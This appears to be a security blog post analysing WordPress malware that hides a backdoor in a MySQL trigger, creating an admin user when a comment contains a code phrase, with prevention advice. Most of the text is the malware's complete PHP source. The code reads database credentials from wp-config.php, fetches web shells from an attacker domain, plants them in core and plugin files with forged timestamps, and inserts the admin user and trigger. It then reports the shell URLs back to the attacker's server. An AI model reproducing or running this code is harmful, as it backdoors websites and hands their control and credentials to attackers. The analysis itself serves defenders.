Throughout 2020 there has been an increasing trend of WordPress malware using SQL triggers to hide a malicious SQL query that will inject an admin level user into the infected database whenever the trigger condition is met. This is problematic for website owners that are cleaning an infected website as most online website cleaning guides focuses mainly on the files and data within specific tables of the database like checking wp_users, wp_options, and wp_posts.

MySQL & Your Website⌗

If you use a popular CMS on your website, like WordPress, then it is likely using a MySQL database for storing important data like CMS settings and content (e.g WordPress posts). This means that anything that can modify the MySQL database can cause serious damage to the website like injecting malicious content or even deleting your website’s content. This is one of the reasons that the MySQL database has its own separate username and password assigned to it (see wp-config.php file) as it prevents someone from being able to remotely query your MySQL database without having at least the login information(usually remote connections are also IP restricted).

/** The name of the database for WordPress */
define('DB_NAME', 'database_name_here');

/** MySQL database username */
define('DB_USER', 'username_here');

/** MySQL database password */
define('DB_PASSWORD', 'password_here');

/** MySQL hostname */
define('DB_HOST', 'localhost');

Since WordPress has access to the login information through wp-config.php - it’s able to read and make changes to the database defined within the configuration file.

After attackers have unauthorized access then they can also read the wp-config.php file to learn the login information for the website’s database. This MySQL database login information is then used by the attacker’s malware to connect to the database and make malicious changes to it.

$wpConfigString = file_get_contents($wpConfigPath);

//preg_match_all("~(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)',\s+'(.+)'\s*\);~", $wpConfigString, $dbhost);
preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s+[\'\"](.+)[\'\"]\s*\);~m", $wpConfigString, $dbhost);
preg_match("~table_prefix\s+=\s+'(.+)';~", $wpConfigString, $prefix);

$dbname = $dbhost[2][0];
$dbuser = $dbhost[2][1];
$dbpassword = $dbhost[2][2];
$dbhostaddr = $dbhost[2][3];
$dbprefix = $prefix[1];

The PHP code is an example of how the malware grabs the MySQL login information from any discovered wp-config.php files. It does this using preg_match_all which lets the attacker user regular expressions to store the desired data from wp-config.php into the array variables $dbhost and $prefix, which are then split up into different variables like $dbname, $dbuser, $dbpassword, etc.

In-the-wild⌗

A real life case would be an attacker that already has obtained unauthorized access to a website and wants a persistent backdoor for regaining unauthorized access should their file-based backdoors be removed(c99, r57, alfa team shell, etc).

One method that is used by attackers is to create an admin level user in the website’s CMS database, but that can easily be spotted from the admin dashboard or a SQL client:

wpadmin user

This malicious admin user, wpadmin, serves as a backdoor that exists outside of the website’s files and inside its database instead. This is important as many times the database can be overlooked by owners cleaning an infected website. However, even removing suspicious admin users from your website’s database doesn’t mean it is safe.

SQL Triggers⌗

A SQL trigger is a stored procedure that runs when specific changes are made to the database and trigger the stored procedure. This can allow for an attacker to inject a SQL trigger into a website’s database and when it is triggered then a malicious stored action will be run.

This backdoor SQL trigger creates a malicious admin user whenever a new comment containing the code words ‘are you struggling to get comments on your blog?’ is submitted on the infected WordPress website. The trigger will check the comment_content column in the wp_comments database, so it doesn’t matter if the comment is approved or pending. Once the SQL trigger is active, it inserts a malicious admin user wpadmin with a forged registration date of 2014-06-08 and email address wp-security@hotmail[.]com.

Trigger: after_insert_comment
Event: INSERT
Table: wp_comments
Statement: BEGIN
IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
	SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `wordpress`.`wp_users`);
	SET @nextWpUsersID = @lastInsertWpUsersId + 1;
	INSERT INTO `wordpress`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
	INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
	INSERT INTO `wordpress`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
END IF;

kentuckyfriedbeef.com⌗

The PHP malware file does other things like setting up PHP shells in various files and reporting back infected URLs to a malicious domain that is controlled by the attacker:

kentuckyfriedBEEF[.]com

   Domain Name: KENTUCKYFRIEDBEEF.COM
   Registry Domain ID: 2533448294_DOMAIN_COM-VRSN
   Registrar WHOIS Server: whois.PublicDomainRegistry.com
   Registrar URL: http://www.publicdomainregistry.com
   Updated Date: 2020-06-03T11:02:06Z
   Creation Date: 2020-06-03T11:02:06Z
   Registry Expiry Date: 2021-06-03T11:02:06Z

It looks like the attacker registered this domain. I would have thought this domain name would have already been registered.

Prevention⌗

The easiest way to prevent SQL trigger backdoors is to just disable the trigger privilege for the SQL user that is defined in the website’s wp-config.php file. You can assign SQL user privileges from within a SQL client like adminer or within cPanel:

cpanel sql user privileges 

<?php

define('CURRENTDIR', getcwd());
define('ADDITIONALSHELLSCOUNT', 2);
define('UPLOAD_SHELL', 1);
define('API_PATH', 'http://kentuckyfriedbeef.com/src/acc.php');


/** without http * */
define('PATH_TO_BACK_SHELL', 'jard.me/load');
/** without http * */

$shPath = 'http://kentuckyfriedbeef.com/src/temp/tmp.txt';

$adminLogin = 'wpadmin';
$adminPassword = '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1';
$adminNicename = 'wpadmin';
$adminEmail = 'wp-security@hotmail.com';
$adminUrl = 'http://wordpress.com';
$adminDateRegister = '2014-06-08 00:00:00';
$adminActivationKey = '';
$adminStatus = '0';
$adminDisplayName = 'Kris';


if (is_null($rootDir = detectWProotDir())) {
    die('invalid detect wp root dir');
}

if (!function_exists('file_put_contents')) {

    function file_put_contents($filename, $data) {
        $f = @fopen($filename, 'w');
        if (!$f) {
            return false;
        } else {
            $bytes = fwrite($f, $data);
            fclose($f);
            return $bytes;
        }
    }

}

$shUrls = array();



if (!file_exists($wpConfigPath = $rootDir . '/wp-config.php')) {
    echo 'wp-config not found';
    exit;
}
$wpConfigString = file_get_contents($wpConfigPath);

//preg_match_all("~(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)',\s+'(.+)'\s*\);~", $wpConfigString, $dbhost);
preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s+[\'\"](.+)[\'\"]\s*\);~m", $wpConfigString, $dbhost);
preg_match("~table_prefix\s+=\s+'(.+)';~", $wpConfigString, $prefix);


$dbname = $dbhost[2][0];
$dbuser = $dbhost[2][1];
$dbpassword = $dbhost[2][2];
$dbhostaddr = $dbhost[2][3];
$dbprefix = $prefix[1];


$trigger = wpCommentsTriggerQuery($adminLogin, $adminPassword, $adminNicename, $adminEmail
        , $adminUrl, $adminDateRegister, $adminActivationKey, $adminStatus, $adminDisplayName
        , $dbname, $dbprefix);

$link = mysqli_connect($dbhostaddr, $dbuser, $dbpassword, $dbname);

$currenthost = $_SERVER['HTTP_HOST'];

if (mysqli_connect_errno()) {
    $errorConnection = 1;
    echo "Could not connect: " . mysqli_error() . PHP_EOL;
} else {
    echo "Connected successfully" . PHP_EOL;

    $wpHomeUrl = mysqli_query($link, "select * from " . $dbprefix . "options where option_name = 'home' or option_name = 'siteurl'");
    $row = mysqli_fetch_row($wpHomeUrl);

    if (stristr($row[2], 'http') !== false) {
        $currenthost = $row[2];
    }

    if (stristr($row[3], 'http') !== false) {
        $currenthost = $row[3];
    }
}






if (UPLOAD_SHELL === 1) {

    $shString = (!function_exists('curl_init')) ? file_get_contents($shPath) : getsource($shPath);

    if (!$shString) {
        echo 'check sh domain' . PHP_EOL;
        exit;
    }

    $shArr = unserialize(base64_decode($shString));
    
    

    $fileNameSuffixes = array('ajax-response', 'cron', 'stream', 'private', 'meta', 'wp', 'core', 'ajax');

    $wpAdminFiles = findFiles($rootDir . '/wp-admin', 3);
    $wpContentPluginsFiles = findFiles($rootDir . '/wp-content/plugins');
    $wpIncludesFiles = findFiles($rootDir . '/wp-includes');
    $allPaths = array_merge($wpAdminFiles, $wpContentPluginsFiles, $wpIncludesFiles);
    $suffixesCount = count($fileNameSuffixes);


    if (file_exists($wpConfigSamplePath = $rootDir . '/wp-config-sample.php')) {

        $wpConfigSampleSource = $shArr['wp-config-sample.php?config'];
        $queryStringValue = $fileNameSuffixes[rand(0, $suffixesCount - 1)];
        $queryString = '$_GET[\'' . $queryStringValue . '\']';
        $wpConfigSampleSource = str_replace('$_GET[\'config\']', $queryString, $wpConfigSampleSource);
        file_put_contents($wpConfigSamplePath, $wpConfigSampleSource);
        touch($wpConfigSamplePath, frequenttimestamp(dirname($wpConfigSamplePath)));
        $shUrls[] = currenturl($wpConfigSamplePath . '?' . $queryStringValue, $currenthost);
        unset($shArr['wp-config-sample.php?config']);
    }

    if (empty($allPaths)) {
        echo 'no directories to write' . PHP_EOL;
        exit;
    }

    $keys = array_keys($shArr);


    foreach ($allPaths as $phpPath) {

        if (empty($keys)) {
            break;
        }

        $newName = str_replace('.php', '-' . $fileNameSuffixes[rand(0, $suffixesCount - 1)] . '.php', $phpPath);
        $shKey = array_shift($keys);
        $randSh = $shArr[$shKey];
        file_put_contents($newName, $randSh);
        touch($newName, frequenttimestamp(dirname($newName)));
        $explodedPath = explode('?', $shKey);
        $url = currenturl($newName, $currenthost);
        $shUrls[] = (isset($explodedPath[1])) ? $url . '?' . backPath($explodedPath[1]) : $url;
    }
}

function backPath($explodedPath) {
    if (defined('PATH_TO_BACK_SHELL') && (stristr($explodedPath, 'example.com') !== false )) {
        return str_replace('example.com', PATH_TO_BACK_SHELL, $explodedPath);
    }
    return $explodedPath;
}

if (!isset($errorConnection)) {

    /**
      $deleteAdminQuery = "DELETE FROM `${dbprefix}users` WHERE `user_pass` = '$adminPassword'";
      $deleteAdminResult = mysqli_query($link, $deleteAdminQuery);
      var_dump(mysqli_fetch_row($deleteAdminResult));
      echo "DELETE ADMIN" . PHP_EOL;
     * 
     */
    $host = normalizeUrl($currenthost);
    $updateCloseCommentsValue = "update `${dbprefix}options` set option_value = '' WHERE `option_name` LIKE 'close_comments_for_old_posts'";

    if (!mysqli_query($link, $updateCloseCommentsValue)) {
        echo 'invalid set value 0 for option >>close_comments_value<<' . PHP_EOL;
    }



    $updateFirstPostsQuery = "UPDATE `${dbprefix}posts` set ping_status = 'open' where (post_type  = 'page' OR post_type = 'post') AND post_status = 'publish' AND guid LIKE '%${host}%' ORDER BY id LIMIT 5";
    $trackBacks = array();



    if (mysqli_query($link, $updateFirstPostsQuery)) {
        //echo 'posts ready to accept trackbacks' . PHP_EOL;
        $trackbacksPostsQuery = "select id, guid, post_name from `${dbprefix}posts` where (post_type  = 'page' OR post_type = 'post') AND post_status = 'publish' AND guid LIKE '%${host}%' ORDER BY id LIMIT 5";
        $trackbacksPostsResults = mysqli_query($link, $trackbacksPostsQuery);
        while ($trackbackAcceptArr = mysqli_fetch_array($trackbacksPostsResults)) {
            $trackBacks[] = array($trackbackAcceptArr['id'], $trackbackAcceptArr['guid'], $trackbackAcceptArr['post_name']);
        }
    }

//var_dump($trackBacks);



    /**
      $triggers = mysqli_query($link, "SHOW TRIGGERS");
      var_dump(mysqli_fetch_row($triggers));
      exit;
     * 
     */
    $existAdminQuery = "SELECT * FROM `${dbprefix}users` WHERE `user_pass` = '$adminPassword'";
    $existsAdminResult = mysqli_query($link, $existAdminQuery);
//var_dump(mysqli_fetch_array($existsAdminResult));

    if (!mysqli_num_rows($existsAdminResult)) {
        $lastWpUsersIDquery = mysqli_query($link, "SELECT ID from `" . $dbname . "`.`" . $dbprefix . "users` ORDER BY `ID` DESC LIMIT 1");
        $rowID = mysqli_fetch_row($lastWpUsersIDquery);
        $nextWpUsersID = (int) ++$rowID[0];

        mysqli_query($link, "INSERT INTO `" . $dbname . "`.`" . $dbprefix . "users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('$nextWpUsersID', '$adminLogin', '$adminPassword', '$adminNicename', '$adminEmail', '$adminUrl', '$adminDateRegister', '$adminActivationKey', '$adminStatus', '$adminDisplayName')");
        mysqli_query($link, "INSERT INTO `" . $dbname . "`.`" . $dbprefix . "usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, $nextWpUsersID, '" . $dbprefix . "capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')");
        mysqli_query($link, "INSERT INTO `" . $dbname . "`.`" . $dbprefix . "usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, $nextWpUsersID, '" . $dbprefix . "user_level', '10')");

        echo $currenthost . " wpadmin inserted" . PHP_EOL;
    } else {
        echo $currenthost . ' wpadmin exists' . PHP_EOL;
    }




    mysqli_query($link, "DROP TRIGGER IF EXISTS `after_insert_comment`");

    if (mysqli_query($link, $trigger)) {
        echo 'trigger created' . str_repeat(PHP_EOL, 3);
    }

    /**
      $triggers = mysqli_query($link, "SHOW TRIGGERS");
      var_dump(mysqli_fetch_row($triggers));
     * 
     */
    mysqli_close($link);
}






echo implode("\n", $shUrls) . "\n";

$shUrls['host'] = $currenthost;
if (!empty($trackBacks)) {
    $shUrls['trackbacks'] = $trackBacks;
}



$responseData = sendpost(API_PATH, array(
    'source' => base64_encode(serialize($shUrls)),
        ));


echo str_repeat('_', 400) . "\n";

function detectWProotDir() {

    if (file_exists(CURRENTDIR . '/wp-config.php')) {
        return CURRENTDIR;
    }
    $normalizePath = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR);


    if (file_exists($normalizePath . '/wp-config.php')) {
        return $normalizePath;
    }

    return null;
}

function getsource($url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $data = curl_exec($ch);

    $res = (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) ? $data : NULL;

    curl_close($ch);
    return $res;
}

function sendpost($url, $data) {

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    //curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
    $result = curl_exec($ch);
    $info = curl_getinfo($ch);
    curl_close($ch);

    return ($info["http_code"] == 200) ? trim($result) : null;
}

function frequenttimestamp($pathtodir) {

    foreach (glob($pathtodir . "/*php") as $file) {
        $tmp[] = filemtime($file);
    }
    $count = array_count_values($tmp);
    arsort($count);

    return array_shift(array_keys($count));
}

function currenturl($rootDir, $host = null) {

    $host = !$host ? 'http://' . $_SERVER['HTTP_HOST'] : $host;
    $tmp = str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', $host . $rootDir);
    return $tmp;
}

function directorysForWriting($dir, $depthLimit = 1) {
    if (!is_dir($dir)) {
        return;
    }

    $path = realpath($dir);


    $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)
            , RecursiveIteratorIterator::SELF_FIRST
            , RecursiveIteratorIterator::CATCH_GET_CHILD);

    $objects->setMaxDepth($depthLimit);

    foreach ($objects as $name => $object) {
        if (($path = $object->getPath()) === $dir) {
            continue;
        }
        if (is_dir($object) && is_writeable($object)) {
            $tmp[] = $path;
        }
    }

    return array_unique($tmp);
}

function findFiles($dir, $filesCount = 2, $depthLimit = 1) {

    if (!is_dir($dir)) {
        return;
    }

    $path = realpath($dir);


    $objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)
            , RecursiveIteratorIterator::SELF_FIRST
            , RecursiveIteratorIterator::CATCH_GET_CHILD);

    $objects->setMaxDepth($depthLimit);

    $tmp = array();

    foreach ($objects as $name => $object) {

        $path = $object->getPathName();
        if (stristr($path, '.php') === false) {
            continue;
        }
        if (!is_writeable(dirname($path))) {
            continue;
        }

        $tmp[$path] = 1;
    }

    $files = array_keys($tmp);
    shuffle($files);

    return array_slice($files, 0, $filesCount);
}

function wpCommentsTriggerQuery($adminLogin, $adminPassword, $adminNicename, $adminEmail
        , $adminUrl, $adminDateRegister, $adminActivationKey, $adminStatus, $adminDisplayName
        , $dbname, $dbprefix) {

    $triggerSource = <<<STR
CREATE TRIGGER `after_insert_comment` AFTER INSERT ON `${dbname}`.`${dbprefix}comments`
 FOR EACH ROW BEGIN
    IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
        SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `${dbname}`.`${dbprefix}users`);
        SET @nextWpUsersID = @lastInsertWpUsersId + 1;
        INSERT INTO `${dbname}`.`${dbprefix}users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, '${adminLogin}', '${adminPassword}', '${adminNicename}', '${adminEmail}', '${adminUrl}', '${adminDateRegister}', '${adminActivationKey}', '${adminStatus}', '${adminDisplayName}');
        INSERT INTO `${dbname}`.`${dbprefix}usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, '${dbprefix}capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
        INSERT INTO `${dbname}`.`${dbprefix}usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, '${dbprefix}user_level', '10');
    END IF;
 END;
STR;
    return $triggerSource;
}

function normalizeUrl($url) {
    $host = parse_url($url, PHP_URL_HOST);
    return str_replace('www.', '', $host);
}
?>